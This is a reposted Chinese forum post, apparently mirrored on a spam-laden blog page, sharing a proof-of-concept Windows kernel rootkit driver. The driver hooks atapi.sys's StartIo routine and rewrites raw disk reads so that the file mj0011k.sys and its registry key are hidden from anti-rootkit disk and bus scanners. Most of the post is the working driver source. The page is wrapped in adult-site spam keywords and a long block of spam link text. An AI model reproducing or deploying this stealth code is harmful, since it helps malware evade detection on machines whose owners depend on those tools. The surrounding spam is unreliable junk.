青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開(kāi)心的工作
簡(jiǎn)單、開(kāi)放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理
【原創(chuàng)】[POC]基于IO Packet隱藏文件和注冊(cè)表,過(guò)磁盤解析和總線解析
QIQI 當(dāng)前離線 添加 QIQI 的聲望 反映此帖

標(biāo) 題: 【原創(chuàng)】[POC]基于IO Packet隱藏文件和注冊(cè)表,過(guò)磁盤解析和總線解析
作 者: QIQI
時(shí) 間: 2008-10-20,18:26
鏈 接: http://bbs.pediy.com/showthread.php?t=75007

[POC]基于IO?Packet隱藏文件和注冊(cè)表,過(guò)磁盤解析和總線解析?
昨天晚上玩過(guò)游戲,睡覺(jué)前寫了一點(diǎn)代碼,下午醒來(lái)又稍微改了改

只是POC~

文件的貌似有時(shí)候能隱藏又時(shí)候不行~郁悶的是每次跟過(guò)去就可以隱藏了,不跟的話有時(shí)候又隱藏不了~最后懶得改了~~~另外?由于沒(méi)有動(dòng)CACHE,所以對(duì)于用API或者FSD的文件檢查反而過(guò)不去~

注冊(cè)表的部分過(guò)FILE?CACHE的低強(qiáng)度解析(例如狙劍)也是過(guò)不了的~由于這方面工具很少,冰刃和DARKSPY又總是在我的虛擬機(jī)上藍(lán)屏,所以就沒(méi)仔細(xì)測(cè)試了~也許有問(wèn)題~

hook了atapi.sys的StartIo例程(由IoStartPacket例程調(diào)用,SCSI?REQUEST?BLOCK最后會(huì)調(diào)用到這里),過(guò)濾磁盤訪問(wèn)~

目標(biāo)是隱藏名為mj0011k.sys及其注冊(cè)表項(xiàng)~
繞過(guò)所有磁盤解析(例如狙劍、FILEREG、RKU、RKR)
和總線解析(例如RKU發(fā)送SRB到ATAPI)

文件隱藏的handler直接照抄了AZY的代碼?^_^

代碼:
?
ULONG?oldstartio;
PDRIVER_OBJECT?atapi_dev?;?


VOID?unload(
??????????????????????PDEVICE_OBJECT?DeviceObject,
??????????????????????PIRP?Irp
????)
{
????atapi_dev->DriverStartIo?=?oldstartio?;?
????return?;?
}
CHAR?fileHide[]?=?"MJ0011K";
CHAR?fileExt[]?=?"SYS";
WCHAR?hideFile[]?=?L"MJ0011K.SYS";
typedef?struct?_INDEX_HEADER{
????UCHAR????????????magic[4];
????USHORT????????????UpdateSequenceOffset;
????USHORT????????????SizeInWords;
????LARGE_INTEGER????LogFileSeqNumber;
????LARGE_INTEGER????VCN;
????ULONG????????????IndexEntryOffset;????//?needed!
????ULONG????????????IndexEntrySize;
????ULONG????????????AllocateSize;
}INDEX_HEADER,?*PINDEX_HEADER;


typedef?struct?_INDEX_ENTRY{
????LARGE_INTEGER????????MFTReference;
????USHORT????????????Size;????????????????//?needed!
????USHORT????????????FileNameOffset;
????USHORT????????????Flags;
????USHORT????????????Padding;
????LARGE_INTEGER????????MFTReferParent;
????LARGE_INTEGER????????CreationTime;
????LARGE_INTEGER????????ModifyTime;
????LARGE_INTEGER????????FileRecModifyTime;
????LARGE_INTEGER????????AccessTime;
????LARGE_INTEGER????????AllocateSize;
????LARGE_INTEGER????????RealSize;
????LARGE_INTEGER????????FileFlags;
????UCHAR????????????FileNameLength;
????UCHAR????????????NameSpace;
????WCHAR????????????FileName[1];
}INDEX_ENTRY,?*PINDEX_ENTRY;

CHAR?NtfsFileRecordHeader[]?=?"FILE";
CHAR?NtfsIndexRootHeader[]?=?"INDX";
#define?FILERECORDSIZE?1024
ULONG?xxlong?=?0x7?;?
WCHAR?regname[]?=?L"MJ0011K";
VOID?HandleRegHide(PVOID?buf?,?ULONG?len?)
{
????ULONG?i?;?
????for?(i?=?0?;?i?<?len??;?i?++)
????{
????????if?(i?+?4?>=?len)
????????{
????????????break?;
????????}
????????if?(*(ULONG*)((ULONG)buf?+?i?)?==?xxlong)
????????{
????????????if?(i?+?4?+?xxlong?*?sizeof(WCHAR)?>=?len)
????????????{
????????????????break?;?
????????????}

????????????if?(_wcsnicmp((wchar_t*)((ULONG)buf?+?i?+?4)?,?regname?,?xxlong))
????????????{
????????????????RtlZeroMemory((PVOID)((ULONG)buf?+?i?+?4)?,?xxlong?*?sizeof(WCHAR));
????????????????*(ULONG*)((ULONG)buf?+i?)?=?0?;?
????????????????break?;?
????????????}
????????}
????}
????return?;?
}
VOID?HandleAkDiskHide(PVOID?UserBuf,?ULONG?BufLen)
{
????ULONG?i;
????BOOLEAN?bIsNtfsIndex;
????BOOLEAN?bIsNtfsFile;
????ULONG?offset?=?0;
????ULONG?indexSize?=?0;
????PINDEX_ENTRY?currIndxEntry?=?NULL;
????PINDEX_ENTRY?preIndxEntry?=?NULL;
????ULONG?currPosition;
????
????
????bIsNtfsFile?=?(_strnicmp(UserBuf,?NtfsFileRecordHeader,?4)?==?0);
????bIsNtfsIndex?=?(_strnicmp(UserBuf,?NtfsIndexRootHeader,?4)?==?0);
????
????if(bIsNtfsFile?==?FALSE?&&?bIsNtfsIndex?==?FALSE)
????{????????????
????????
????????for(i?=?0;?i?<?BufLen/0x20;?i++)
????????{
????????????if(!_strnicmp(UserBuf,?fileHide,?5)?&&?!_strnicmp((PVOID)((ULONG)UserBuf+0x8),?fileExt,?3))
????????????{
????????????????
????????????????*(PUCHAR)UserBuf????????=?0xe5;
????????????????*(PULONG)((ULONG)UserBuf?+?0x1)????=?0;
????????????????
????????????????break;
????????????????
????????????}
????????????
????????????UserBuf?=?(PVOID)((ULONG)UserBuf?+?0x20);
????????????
????????}
????????
????}?else?if(bIsNtfsFile)?{
????????
????????//DbgPrint("FILE0...");
????????
????????for(i?=?0;?i?<?BufLen?/?FILERECORDSIZE;?i++)
????????{
????????????if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf?+?0xf2),?hideFile,?9))
????????????{
????????????????memset((PVOID)UserBuf,?0,?0x4);
????????????????memset((PVOID)((ULONG)UserBuf?+?0xf2),?0,?18);
????????????????break;
????????????}
????????????
????????????UserBuf?=?(PVOID)((ULONG)UserBuf?+?FILERECORDSIZE);
????????????
????????}
????????
????}?else?if(bIsNtfsIndex)?{
????????
????????//DbgPrint("INDX...");
????????//?Index?Entries
????????
????????offset?=?((PINDEX_HEADER)UserBuf)->IndexEntryOffset?+?0x18;
????????indexSize?=?BufLen?-?offset;
????????currPosition?=?0;
????????
????????currIndxEntry?=?(PINDEX_ENTRY)((ULONG)UserBuf?+?offset);
????????//DbgPrint("?--?offset:?0x%x?indexSize:?0x%x",?offset,?indexSize);
????????
????????while(currPosition?<?indexSize?&&?currIndxEntry->Size?>?0?&&?currIndxEntry->FileNameOffset?>?0)
????????{
????????????if(!_wcsnicmp(currIndxEntry->FileName,?hideFile,?9))
????????????{
????????????????memset((PVOID)currIndxEntry->FileName,?0,?18);
????????????????
????????????????if(currPosition?==?0)
????????????????{
????????????????????((PINDEX_HEADER)UserBuf)->IndexEntryOffset?+=?currIndxEntry->Size;
????????????????????break;
????????????????}
????????????????
????????????????preIndxEntry->Size?+=?currIndxEntry->Size;
????????????????
????????????????break;
????????????}
????????????
????????????currPosition?+=?currIndxEntry->Size;
????????????preIndxEntry?=?currIndxEntry;
????????????currIndxEntry?=?(PINDEX_ENTRY)((ULONG)currIndxEntry?+?currIndxEntry->Size);
????????????
????????}
????}
}



VOID?mystartio(??PDEVICE_OBJECT?DeviceObject,??PIRP?Irp?)
{
????PIO_STACK_LOCATION?irp_stack?;?

????irp_stack?=?IoGetCurrentIrpStackLocation(Irp);

????if?(irp_stack->DeviceObject->DeviceType?==?FILE_DEVICE_DISK?&&
????????irp_stack->Parameters.Scsi.Srb->Function?==?SRB_FUNCTION_EXECUTE_SCSI?&&
????????irp_stack->Parameters.Scsi.Srb->CdbLength?==?0xA?&&
????????(irp_stack->Parameters.Scsi.Srb->SrbFlags?&?SRB_FLAGS_DATA_IN)?&&
????????irp_stack->Parameters.Scsi.Srb->DataBuffer?&&
????????irp_stack->Parameters.Scsi.Srb->DataTransferLength
????????)

????{
????????PVOID?buf?=?irp_stack->Parameters.Scsi.Srb->DataBuffer?;?
????????ULONG?len?=?irp_stack->Parameters.Scsi.Srb->DataTransferLength?;?
????????ULONG?i?;?
????????PMDL?mdl?=?Irp->MdlAddress?;?

????????KDMSG(("disk?device?bus?read?request!lba?=?%08x?,?len?=?%08x\n",
????????????irp_stack->Parameters.Scsi.Srb->QueueSortKey?,
????????????irp_stack->Parameters.Scsi.Srb->DataTransferLength));

????????__asm
????????{
????????????push????Irp
????????????push????DeviceObject
????????????call????oldstartio
????????}


????????
????????buf?=?MmGetSystemAddressForMdl(mdl?);

????????HandleAkDiskHide(buf?,?len?);
????????HandleRegHide(buf?,?len);
????????return?;?
????????
????}
????__asm
????{
????????push????Irp
????????????push????DeviceObject
????????????call????oldstartio
????????}

????return?;
}
NTSTATUS?DriverEntry(PDRIVER_OBJECT?drvobj?,?PUNICODE_STRING?regpath)
{
????UNICODE_STRING?uniname?;?
????NTSTATUS?stat?;?


????drvobj->DriverUnload?=?(PDRIVER_UNLOAD?)unload?;?

????RtlInitUnicodeString(&uniname?,?L"\\Driver\\Atapi");

????stat?=?ObReferenceObjectByName(&uniname?,?
????????OBJ_CASE_INSENSITIVE?,?
????????NULL?,?
????????0,
????????*IoDriverObjectType?,?
????????KernelMode?,
????????NULL?,?
????????(PVOID*)&atapi_dev);

????if?(!NT_SUCCESS(stat))
????{
????????KDMSG(("get?atapi?drvobj?failed?,?stat?=?%08x\n"?,?stat));
????????return?stat?;?
????}

????oldstartio?=?atapi_dev->DriverStartIo?;
????atapi_dev->DriverStartIo?=?mystartio;

????return?STATUS_SUCCESS?;?
}
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲欧美日韩视频二区| 亚洲一区二区三区视频播放| 欧美久久久久免费| 免费成人美女女| 久久在线免费| 欧美另类人妖| 国产精品国产三级国产aⅴ入口 | 久久精品国产精品亚洲| 在线视频你懂得一区二区三区| 亚洲肉体裸体xxxx137| 9久re热视频在线精品| 亚洲一级一区| 久久久噜噜噜久久中文字幕色伊伊| 噜噜噜在线观看免费视频日韩| 欧美大片在线观看一区| 一本久久a久久精品亚洲| 午夜精品影院| 欧美精品在线观看播放| 国产亚洲精品综合一区91| 91久久国产综合久久| 一区二区三区高清在线| 久久精品国产999大香线蕉| 亚洲成人在线视频播放 | 91久久夜色精品国产九色| 在线视频精品一| 久久网站免费| 国产精品成人国产乱一区| 黄色亚洲在线| 亚洲一区二区毛片| 美女日韩在线中文字幕| av不卡在线观看| 快she精品国产999| 国产精品一区毛片| 一本大道久久精品懂色aⅴ | 亚洲色图自拍| 美女黄网久久| 国产区亚洲区欧美区| 一本色道久久综合精品竹菊| 久久久免费精品视频| 国产精品99久久久久久人| 欧美二区视频| 伊人精品视频| 久久久久99| 亚洲欧美精品在线| 欧美香蕉大胸在线视频观看| 亚洲人成在线影院| 免费不卡欧美自拍视频| 小黄鸭视频精品导航| 国产精品国内视频| 亚洲视频在线观看三级| 亚洲欧洲在线免费| 亚洲国产视频直播| 国产女主播视频一区二区| 99精品欧美一区二区三区综合在线| 久久婷婷影院| 亚洲人成毛片在线播放| 久久躁日日躁aaaaxxxx| 亚洲欧美日韩久久精品| 国内成+人亚洲| 国产一区欧美日韩| 欧美一区二区三区免费观看视频 | 亚洲国产成人tv| 久久免费观看视频| 久久精品国产亚洲aⅴ| 国产偷自视频区视频一区二区| 性高湖久久久久久久久| 亚洲免费影视| 国产一区二区中文| 玖玖精品视频| 久久综合色88| 一本一道久久综合狠狠老精东影业| 国内精品伊人久久久久av一坑| 性18欧美另类| 久久综合九色综合欧美狠狠| 在线精品视频在线观看高清| 另类综合日韩欧美亚洲| 玖玖国产精品视频| 亚洲精品少妇30p| 亚洲精品资源美女情侣酒店| 欧美午夜精品久久久久久超碰| 亚洲欧美一区二区三区极速播放| 亚洲一区美女视频在线观看免费| 国产亚洲精品资源在线26u| 麻豆精品传媒视频| 欧美精品观看| 久久福利毛片| 欧美不卡在线| 亚洲国产一区二区三区在线播| 亚洲国产天堂久久综合网| 欧美日韩一区在线| 久久久久久一区二区三区| 欧美ed2k| 欧美一区二区观看视频| 老妇喷水一区二区三区| 亚洲影视在线| 久久影院亚洲| 香蕉免费一区二区三区在线观看| 久久久蜜桃一区二区人| 亚洲视频一区二区在线观看 | 午夜亚洲福利| 亚洲欧洲日本国产| 午夜国产精品影院在线观看| 最新亚洲电影| 欧美一区二区私人影院日本| 亚洲美女在线一区| 久久精品人人做人人爽电影蜜月| 一区二区三区久久网| 久久久精品国产一区二区三区| 亚洲一区二区三区免费在线观看| 久久久久一区二区三区| 香蕉国产精品偷在线观看不卡| 老司机亚洲精品| 久久精品91久久久久久再现| 欧美精品www| 蜜臀久久99精品久久久画质超高清| 亚洲人成在线观看一区二区| 欧美黄色小视频| 久久夜色精品国产亚洲aⅴ| 欧美日韩综合另类| 欧美a级一区| 欧美日韩不卡一区| 欧美粗暴jizz性欧美20| 国产亚洲精品久久久| 亚洲图片在线| 亚洲一区二区网站| 欧美人妖另类| 最新高清无码专区| 亚洲福利免费| 久久久久久夜精品精品免费| 久久不射2019中文字幕| 国产精品一区二区三区四区五区| 一区二区三区久久精品| 中文日韩在线视频| 欧美日韩一区二区三区在线看 | 亚洲电影免费观看高清完整版在线观看| 国产亚洲精品v| 亚洲欧美日韩在线播放| 欧美自拍丝袜亚洲| 国产一区二区av| 久久国产精品亚洲77777| 久久久久久久网| 激情欧美日韩一区| 久久精品视频在线看| 欧美ed2k| 亚洲免费激情| 欧美性猛交xxxx乱大交退制版| 日韩一区二区免费高清| 亚洲影院一区| 国产九九视频一区二区三区| 午夜一区二区三区不卡视频| 久久成人综合视频| 黄色一区三区| 欧美黄色日本| 欧美日韩一区二区在线观看| 一本久久综合亚洲鲁鲁五月天 | 精品成人一区二区| 免费亚洲一区二区| 一区二区三区成人| 欧美在线影院| 在线免费观看视频一区| 欧美激情日韩| 亚洲一区国产视频| 蜜桃精品一区二区三区| 99av国产精品欲麻豆| 国产精品一区免费观看| 狼人社综合社区| 亚洲小视频在线观看| 久久高清福利视频| 亚洲精品一区在线观看香蕉| 国产精品久久久久久久午夜片| 久久www免费人成看片高清| 欧美激情按摩| 午夜宅男欧美| 亚洲经典三级| 国产精品视频不卡| 欧美va亚洲va国产综合| 亚洲欧美激情视频| 亚洲激情综合| 久久精品免视看| 一区二区三区日韩欧美| 国内久久精品视频| 国产精品免费视频xxxx| 亚洲高清成人| 在线成人免费视频| 欧美小视频在线| 农村妇女精品| 午夜久久美女| 亚洲精品一二三| 欧美大片在线观看| 欧美在线观看天堂一区二区三区| 亚洲欧洲精品一区二区| 国产小视频国产精品| 国产精品v欧美精品v日韩 | 亚洲一区二区三区国产| 在线成人国产| 国内精品国语自产拍在线观看| 欧美日韩在线视频一区| 欧美电影在线免费观看网站| 久热精品在线| 久久久久欧美|